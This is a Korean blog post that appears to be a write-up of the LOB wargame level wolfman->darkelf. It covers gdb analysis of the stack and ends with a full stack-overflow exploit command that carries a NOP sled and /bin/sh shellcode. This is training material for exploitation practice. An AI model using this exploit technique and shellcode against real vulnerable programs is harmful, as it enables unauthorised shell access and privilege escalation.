튜기's blogggg

LOB wolfman->darkelf

by St1tch





코드를 보면 환경변수초기화 + ret주소 최상위비트가'\xbf' + argv[1]의 길이 제한

이렇게 3개의 조건이 붙어있다.




gdb로 살펴보면 buf의 크기는 40이고, argv[1]을 buf에 복사하므로,

argv[1]로 ret까지 덮어주고, ret주소를 argv[2]에 해당하는 범위로 해준다.

그리고 argv[2]에는 nop sled와 shellcode를 적는다.



strcpy의 뒷부분에 브레이크를 잡아놓고 적당한 인풋값을 넣어 실행을 시킨 후,

스택의 주소들을 확인한다.

ebp+c에는 **argv값이 들어있고, 그 값을 따라가면

*argv[0~]주소들이 차례대로 있다.

3번째 값에 해당하는 주소를 보면 argv[2]에 값들이 정확이 들어가 있는것을 볼 수 있다.

이 주소를 토대로 익스플로잇을 작성했다.


argv[1] = dummy*44 + ret

argv[2] = nop sled + shellcode


<exploit code>

./darkelf `python -c 'print "\x90"*44 + "\x01\xfb\xff\xbf"'` `python -c 'print "\x90"*1024 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`






다른 문제와 달리 한번에 성공하지 못했는데, segmentation fault에러가 발생했다.

이럴때는 gdb로 dump파일을 열어, ret주소를 확인해보면 된다.

gdb -c core


블로그의 정보

튜기's blogg(st1tch)

St1tch

활동하기